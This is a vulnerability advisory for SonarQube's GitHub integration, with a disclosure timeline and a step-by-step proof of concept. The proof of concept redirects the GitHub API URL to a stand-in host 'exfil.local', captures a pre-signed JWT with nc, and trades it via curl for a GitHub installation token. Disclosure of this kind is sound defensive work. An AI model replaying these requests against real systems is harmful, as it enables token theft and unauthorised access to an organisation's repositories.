SonarQube - GitHub integration information leakage

08/10/2024 - Download

Product

SonarQube

Severity

Medium

Fixed Version(s)

9.9.5 and 10.5

Affected Version(s)

< 9.9.5 and < 10.5

CVE Number

Authors

Clément Amic

Hugo Vincent

Description

Presentation

SonarQube, developed by Sonar, is a self-managed, automatic code review tool that systematically helps delivering clean code. As a core element of the Sonar solution, SonarQube integrates into existing workflows and detects issues in source code to help performing continuous code inspections of projects. The product analyses 30+ different programming languages and integrates into Continuous Integration (CI) pipelines of DevOps platforms to ensure that code meets high-quality standards.

Issue(s)

The DevOps integration plugin for GitHub allows exfiltrating a pre-signed JWT that can be reused to impersonate the GitHub application on the GitHub API.

Timeline

Date Description
2024.02.20 Advisory sent to Sonar
2024.03.26 Sonar confirms the vulnerability
2024.04.26 Versions 9.9.5 and 10.5 released
2024.10.07 Public release

 

Technical details

Description

From the SonarQube administration panel, the DevOps Platform Integration for GitHub page allows modifying the GitHub API's URL of an existing configuration.

Editing the GitHub API URL.

This URL can also be modified by sending a request to the /api/alm_settings/update_github endpoint:

POST /api/alm_settings/update_github HTTP/1.1
Host: sonarqube.local
Content-Type: application/x-www-form-urlencoded
Cookie: XSRF-TOKEN=[...]; JWT-SESSION=[...]
X-XSRF-TOKEN: [...]
Content-Length: [...]

newKey=SampleConfigurationName&key=SampleConfigurationName&url=http://exfil.local:8080/api/v3&appId=[APP_ID]&clientId=[CLIENT_ID]

When the API URL is modified, the client secret and the associated private key are not revoked. As a result, a pre-signed JWT will be issued on the first request targeting the new API URL. This request can be triggered by clicking the Check configuration button, or by sending the following request to SonarQube:

GET /api/alm_settings/validate?key=SampleConfigurationName HTTP/1.1
Host: sonarqube.local
Cookie: XSRF-TOKEN=[...]; JWT-SESSION=[...]
X-XSRF-TOKEN: [...]

Once triggered, a request including the pre-signed JWT in the Authorization header is received:

$ nc -nlp 8080
GET /api/v3/app HTTP/1.1
Authorization: Bearer eyJra[...]2In0.eyJpc3MiOiIzNjc3MjYiLCJleHAiOjE3MDYwMTA4MTYsImlhdCI6MTcwNjAxMDI3Nn0.hd50[...]k6_w
X-GitHub-Api-Version: 2022-11-28
Host: exfil.local
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/4.10.0

This JWT can be reused on the GitHub API to obtain an ephemeral token. First, the installation ID needs to be retrieved:

$ curl https://api.github.com/app/installations  \
  -H "Accept: application/vnd.github+json" \
  -H 'User-Agent: okhttp/4.10.0' \
  -H "X-GitHub-Api-Version: 2022-11-28" \
  -H "Authorization: Bearer eyJra[...]m6A" -s | jq -r '.[].id'
40109999

Then, an ephemeral access token can be requested for this installation:

$ curl https://api.github.com/app/installations/40109999/access_tokens -X POST -L \
  -H "Accept: application/vnd.github+json" \
  -H 'User-Agent: okhttp/4.10.0' \
  -H "X-GitHub-Api-Version: 2022-11-28" \
  -H "Authorization: Bearer eyJraW[...]6A" 
{"token":"ghs_[...]","expires_at":"2024-01-23T13:04:30Z","permissions":{"checks":"write","contents":"read","pull_requests":"write",[...]},"repository_selection":"all"}

Finally, this ghs_ access token can be used on the GitHub REST API with the granted privileges.

Impact

An attacker who has previously compromised a SonarQube administrator account (or its access token) can obtain a pre-signed JWT issued on the first request targeting the altered API URL. This exfiltrated token can then be reused to impersonate the GitHub application installation on the GitHub API to obtain privileges over the GitHub organization. As stated in the documentation, the GitHub application installation configured for SonarQube is usually granted read privileges over the content of all the organization's repositories, and write privileges over checks and pull requests.